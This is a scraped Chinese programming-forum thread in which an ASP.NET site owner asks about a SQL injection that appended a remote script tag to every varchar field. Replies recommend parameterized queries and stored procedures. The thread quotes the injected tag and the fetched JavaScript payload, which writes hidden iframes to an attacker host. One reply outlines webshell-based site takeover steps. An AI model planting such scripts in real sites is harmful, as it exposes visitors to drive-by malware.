当前位置:编程学习 > C#/ASP.NET >>

Asp.Net 被Sql注入攻擊了

我今天才發現DB裏面所有的 varchar 字段後面都被添加了一段script代碼,
比如,原來是 
【客戶信息】
現在變成了

【客戶信息<script src=http://w.robints.us/us.js></script>】

整個數據庫裏面所有表內的varchar字段都這樣。

我查詢了所有的 IIS 日誌,沒發現任何蛛絲馬跡。 甚至都沒有發現 單引號。 因為要注入的話很可能會用 ’
我不知道他到底怎麼弄的? 難道是 POST 的,

我怎麼才能記錄下他的 SQL更新語句? --------------------编程问答-------------------- 帮你顶下吧。 --------------------编程问答-------------------- 数据库操作参数化
数据库注入漏洞

http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html --------------------编程问答-------------------- 应该就是表单提交的时候写sql语句注入的,你的网站没有采取参数化sql和过滤敏感词汇等基本防御措施吗 --------------------编程问答-------------------- 被sql注入了

sql变量最好参数化或者用存储过程


过滤敏感字符 比如-- --------------------编程问答-------------------- 参数化sql语句 --------------------编程问答--------------------
引用 3 楼 ojlovecd 的回复:
应该就是表单提交的时候写sql语句注入的,你的网站没有采取参数化sql和过滤敏感词汇等基本防御措施吗

顶 --------------------编程问答--------------------
引用 2 楼 wuyq11 的回复:
数据库操作参数化
数据库注入漏洞

http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html


研究研究这个 --------------------编程问答-------------------- 黑站的常用步骤:通过注入等方式获取后台用户名密码;登录到后台或直接上传webshell,或先把webshell作为图片上传,再想办法修改扩展名;拿到shell,那你网站就over了,想干嘛干嘛、把网站全删了都可以。。。


Asp.net精英论坛,欢迎你的光临 --------------------编程问答-------------------- 基本上Replace(''','''')以及参数化SQL语句基本上可以抵御SQL注入攻击.
另外输出文本的时候进行HtmlEncode(). --------------------编程问答-------------------- 貌似 参数化后.net 不存在SQL注入漏洞!!!!

参数化后连单引号 都能加进 数据库的字段里。。就是写条SQL语句都能加进字段。。

不是以前年代的ASP了。。。 --------------------编程问答-------------------- 呵呵,和楼主碰到过一样的问题,大约在两个月前,公司项目[asp.net网站]
最后用了大约三周的时间解决的,
基本上是网站代码中太多的注入漏洞造成的,最基础的是过滤关键字,然后其他的操作,参数化等
,当然啦,有钱可以去买注入防火墙的,省事省时间
楼主有兴趣可以去看看我公司的<a href="http://www.webgo.cn">网站</a> --------------------编程问答-------------------- 难道你们都不用 SqlParameter 参数化吗???

在我们公司。如果你用ADO.net   不用SqlParameter 参数化。。你就会被逐出公司。。。

你那不是在写程序。是在帮助黑客制造程序!!! --------------------编程问答-------------------- 要不你就用LINQ。。。LINQ 不用参数化。。。。自动就会给你参数化了。。。。

要不你就用存储过程 定义变量赋值~~~

不参数化就是你程序的最大漏洞!!!有一个地方没有参数化。你的整个数据库全都能被黑客删了!!! --------------------编程问答--------------------
引用 3 楼 ojlovecd 的回复:
应该就是表单提交的时候写sql语句注入的,你的网站没有采取参数化sql和过滤敏感词汇等基本防御措施吗


最常见的注入方式!呵~ --------------------编程问答-------------------- 用存储过程 --------------------编程问答--------------------      LZ 多做些安全工作把, 后台有些编辑器也是有漏洞得, 这个你也注意一下~ --------------------编程问答--------------------
引用 2 楼 wuyq11 的回复:
数据库操作参数化
数据库注入漏洞

http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html

==========================
加一个防注入代码即可解决问题。
楼主首先要做的是,把“script src=http://w.robints.us/us.js></script>”去掉。
批量替换就可以了。 --------------------编程问答-------------------- 是不是sql或者windows密码太简单了 --------------------编程问答-------------------- 不参数化就是你程序的最大漏洞!!!有一个地方没有参数化。你的整个数据库全都能被黑客删了!!! --------------------编程问答--------------------
引用 11 楼 liu_sl2005 的回复:
呵呵,和楼主碰到过一样的问题,大约在两个月前,公司项目[asp.net网站]
最后用了大约三周的时间解决的,
基本上是网站代码中太多的注入漏洞造成的,最基础的是过滤关键字,然后其他的操作,参数化等
,当然啦,有钱可以去买注入防火墙的,省事省时间
楼主有兴趣可以去看看我公司的<a href="http://www.webgo.cn">网站</a>


看着像GOOGLE的首页。 --------------------编程问答--------------------
引用 11 楼 liu_sl2005 的回复:
呵呵,和楼主碰到过一样的问题,大约在两个月前,公司项目[asp.net网站]
最后用了大约三周的时间解决的,
基本上是网站代码中太多的注入漏洞造成的,最基础的是过滤关键字,然后其他的操作,参数化等
,当然啦,有钱可以去买注入防火墙的,省事省时间
楼主有兴趣可以去看看我公司的<a href="http://www.webgo.cn">网站</a>

程序写的不咋样,还是有漏洞,楼主把网站发来看看。 --------------------编程问答-------------------- 楼主还是用存储过程吧,顺便过滤特殊字符,双重保险 --------------------编程问答-------------------- 我只是做了特殊字符过滤这种基本的措施和参数序列化,基本没碰到过这种情况 --------------------编程问答-------------------- 尽量使用存储过程来实现数据库的操作吧. --------------------编程问答-------------------- up回复内容太短了! 
--------------------编程问答-------------------- 用LinQ就不會出現這個問題了。。。 --------------------编程问答-------------------- LINQ到现在还没弄明白。 --------------------编程问答-------------------- 最好还是都用存储过程比较安全一点 --------------------编程问答-------------------- 过滤不够严造成的

我也遇到过哦。

--------------------编程问答--------------------
引用 27 楼 meditatorx 的回复:
LINQ到现在还没弄明白。

Linq 好东西啊。。。。。代码比ADO.net 减少了50% --------------------编程问答-------------------- Linq也不存在什么注入漏洞。。。 

都是非常严格的赋值~~~int形 必须赋int形。。要不就报错~~~ --------------------编程问答-------------------- 確實應該用 SqlParameter 不過這個項目不是我寫的,是以前一個來打工的學生寫的,然後昨天突然發現問題,結果大家才注意到代碼問題,慘了。 --------------------编程问答-------------------- 這項目是以前1.1 的然後轉到2.0 所以不能還不能用 Linq --------------------编程问答-------------------- 我查了一下他注入的那個連接,結果得到一下一段script

try
{
    __m
}
catch(e)
{
    __m=1;
    document.title=document.title.replace(/\<(\w|\W)*\>/,"");

    if (document.cookie!='__m')
    {
        document.cookie='__m;expires='+(new Date(((new Date()).getTime()+600000)).toGMTString())+';';
  
        document.write("<iframe src=http://w.robints.us/cnzz.html width=0 height=0></iframe>");
        document.write("<iframe src=http://w.robints.us/614.html width=0 height=0></iframe>");
        document.write("<iframe src=http://w.robints.us/jf.html width=0 height=0></iframe>");
        document.write("<iframe src=http://w.robints.us/jg.html width=0 height=0></iframe>");
    }
} --------------------编程问答--------------------
引用 12 楼 shijianyu00 的回复:
难道你们都不用 SqlParameter 参数化吗???

在我们公司。如果你用ADO.net 不用SqlParameter 参数化。。你就会被逐出公司。。。

你那不是在写程序。是在帮助黑客制造程序!!!


其实,不参数化有它自身的长处,只不过要自己做参数值过滤;
参数化并不意味着可以解决SQL注入代码,注入这种代码与版主自己所写程序有关。 --------------------编程问答-------------------- 用参数化,存储过程,或着你有兴趣可以用加密解密,重要的是设计数据库的时候给你那些只有查看用户的设置权限, --------------------编程问答-------------------- 不用参数就替换一个单引号成两个单引号
补充:.NET技术 ,  ASP.NET
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,